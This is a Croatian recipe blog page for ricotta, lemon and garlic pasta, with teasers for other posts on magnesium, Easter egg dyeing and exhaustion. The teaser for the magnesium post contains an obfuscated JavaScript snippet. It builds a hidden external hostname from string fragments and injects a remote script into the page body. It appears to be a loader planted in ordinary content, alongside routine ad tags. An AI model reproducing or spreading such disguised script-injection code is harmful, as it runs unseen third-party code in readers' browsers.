KREMASTA TJESTENINA S RICOTTOM, LIMUNOM I ČEŠNJAKOM 🍋





Kremasta tjestenina s ricottom, limunom i češnjakom 




Ako vam je potreban brz, ukusan i lagan obrok za radni dan, tjestenina s ricottom i limunom je pravo rješenje. Kremasti umak priprema se bez kuhanja, a zahvaljujući svježim sastojcima poput limuna, češnjaka i začinskog bilja, jelo je aromatično i osvježavajuće.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Kremasta tjestenina s ricottom, limunom i češnjakom 


Sastojci:

  • 1 puna šalica ricotte (oko 286 g)

  • 1/3 šalice sitno ribanog parmezana (oko 40 g)

  • 1 limun

  • 3 režnja češnjaka, sitno narezano

  • 3 žlice ekstra djevičanskog maslinovog ulja

  • 4 grančice kopra, sitno nasjeckano (oko 10 g)

  • sol po ukusu

  • 230 g rigatoni paste

  • 3 šake mladog špinata (oko 80 g)

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Priprema:

  • U srednjem loncu zagrijte vodu do vrenja. U međuvremenu pripremite kremasti umak. Ricotta sir kratko izmiksajte u blenderu nekoliko sekundi, dok ne postane potpuno gladak i kremast.
  • Prebacite ricottu u veću zdjelu, pa dodajte parmezan, sitno naribanu koricu limuna i sok od limuna (oko tri žlice). U smjesu umiješajte i sitno nasjeckani češnjak, maslinovo ulje, kopar i prstohvat soli. Sve dobro umutite žlicom dok ne dobijete ujednačenu kremastu smjesu.
  • Kada voda zakipi, posolite je i dodajte tjesteninu. Kuhajte prema uputama s pakiranja, otprilike desetak minuta. Pred sam kraj kuhanja ubacite špinat i kuhajte još oko minutu, dok ne omekša i blago se smanji.
  • Sačuvajte oko četvrtinu šalice vode u kojoj se kuhala pasta, a ostatak procijedite. Sačuvanu vodu umiješajte u ricotta umak kako biste dobili još kremastiju i svilenkastu teksturu.
  • Na kraju dodajte ocijeđenu tjesteninu i špinat u zdjelu s umakom i sve dobro promiješajte kako bi se tjestenina ravnomjerno obložila kremastim preljevom. Poslužite odmah, dok je još toplo.
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više